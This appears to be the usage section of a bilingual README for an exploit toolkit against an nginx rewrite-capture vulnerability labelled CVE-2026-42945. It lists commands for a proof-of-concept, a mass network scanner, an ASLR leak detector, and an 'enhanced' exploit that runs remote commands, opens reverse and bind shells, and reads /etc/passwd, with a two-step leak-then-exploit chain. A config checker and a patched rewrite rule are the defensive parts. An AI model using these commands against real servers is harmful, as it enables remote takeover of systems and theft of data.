server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945

# Verify Python version (3.7+ recommended)
python3 --version

# Run any tool
python3 nginx_rift_poc.py --help

# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

server {
    # 有漏洞：未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

server {
    # 安全：使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全（已修复）配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

# 从目标文件扫描（格式：每行 host:port）
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描（100线程）
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置（自动备份原文件）
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令（ASLR 关闭环境）
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell（在目标上监听）
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

# 步骤 1：检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2：使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本（推荐 3.7+）
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

# 修改前（有漏洞）
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后（安全）
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;